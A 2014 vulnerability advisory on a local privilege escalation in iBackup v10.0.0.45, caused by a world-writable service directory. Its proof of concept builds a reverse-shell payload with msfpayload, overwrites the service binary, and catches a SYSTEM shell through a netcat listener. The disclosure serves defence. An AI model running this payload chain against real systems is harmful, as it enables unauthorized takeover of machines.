Document Title: =============== iBackup v10.0.0.45 - Privilege Escalation Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1382 Release Date: ============= 2014-12-18 Vulnerability Laboratory ID (VL-ID): ==================================== 1382 Common Vulnerability Scoring System: ==================================== 6.2 Product & Service Introduction: =============================== With IBackup, you can backup/restore interactively or schedule regular online backups for Windows desktops, laptops and servers. It has a simple, user- friendly interface coupled with powerful scheduling and logging features. IBackup automatically selects critical data (Desktop, Music, Pictures, Videos, Documents, Windows Mail, Favourites) for backup. Advanced features include Open file Backup, System State backup, MS SQL Server, MS Exchange Server, Hyper-V, MS SharePoint Server and Oracle Server backups. (Copy of the Vendor Homepage: https://www.ibackup.com/ibwin/downloads/IBackupsetup.exe ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a a local privilege escalation vulnerability in the official Pro Softnet Corporation iBackup v10.0.0.45 software. Vulnerability Disclosure Timeline: ================================== 2014-12-18: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Pro Softnet Corporation Product: iBackup - Server Software 10.0.0.45 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local privilege escalation vulnerability has been discovered in the official iBackup v10.0.0.45 software. The vulnerability allows local attackers to gain higher access privileges by execution of arbitrary codes. The `ibservice` service for windows could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user`s code would execute with the elevated privileges of the application. The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.2. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the arbitrary code execution vulnerability results in software- or system compromise. Proof of Concept (PoC): ======================= The vulnerability can be exploited by local attackers with low privileged or restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- C:\Users\s-dz\Desktop>sc qc ibservice [SC] QueryServiceConfig russite(s) SERVICE_NAME: ibservice TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IBackup Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem* - C:\Users\s-dz\Desktop>sc qc ibservice [SC] QueryServiceConfig russite(s) SERVICE_NAME: ibservice TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IBackup Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem - C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\IBackupWindows\" C:\Program Files\IBackupWindows Medium Mandatory Level (Default) [No-Write-Up] RW Tout le monde FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL RW NT SERVICE\TrustedInstaller FILE_ALL_ACCESS RW AUTORITE NT\Syst?me FILE_ALL_ACCESS RW BUILTIN\Administrateurs FILE_ALL_ACCESS R BUILTIN\Utilisateurs FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL ############## PROOF C:\Users\s-dz\Desktop>net user s-dz Nom d'utilisateur s-dz Nom complet s-dz Commentaire Commentaires utilisateur Code du pays 000 (Valeur par dfaut du syst?me) Compte : actif Oui Le compte expire Jamais Mot de passe : dernier changmt. 18/12/2014 01:12:55 Le mot de passe expire Jamais Le mot de passe modifiable 18/12/2014 01:12:55 Mot de passe exig Oui L'utilisateur peut changer de mot de passe Oui Stations autorises Tout Script d'ouverture de session Profil d'utilisateur Rpertoire de base Dernier acc?s 18/12/2014 06:04:49 Heures d'acc?s autoris Tout Appartient aux groupes locaux *Utilisateurs Appartient aux groupes globaux *None La commande s'est termine correctement. C:\Users\s-dz\Desktop> root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > C:\Users\s-dz\Desktop\evil-ZDserv.exe C:\Users\s-dz\Desktop>copy evil-ZDserv.exe "C:\Program Files\IBackupWindows\ib_service.exe" Remplacer C:\Program Files\IBackupWindows\ib_service.exe (Oui/Non/Tous) : o 1 fichier(s) copi(s). e will open cmd with administrator for start service ibservice C:\Users\s-dz\Desktop>sc start ibservice now nc ... (user) C:\Users\s-dz\Desktop>nc.exe -lvp 4433 listening on [any] 4433 ... connect to [192.168.1.5] from s-dz [192.168.1.5] 16040 Microsoft Windows [version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. Tous droits rservs. C:\Windows\system32>whoami whoami autorite nt\syst?me C:\Windows\system32> Security Risk: ============== The security risk of the of the local privilege escalation software vulnerability in the root path is estimated as high. (CVSS 6.2) Credits & Authors: ================== Hadji Samir S-dz@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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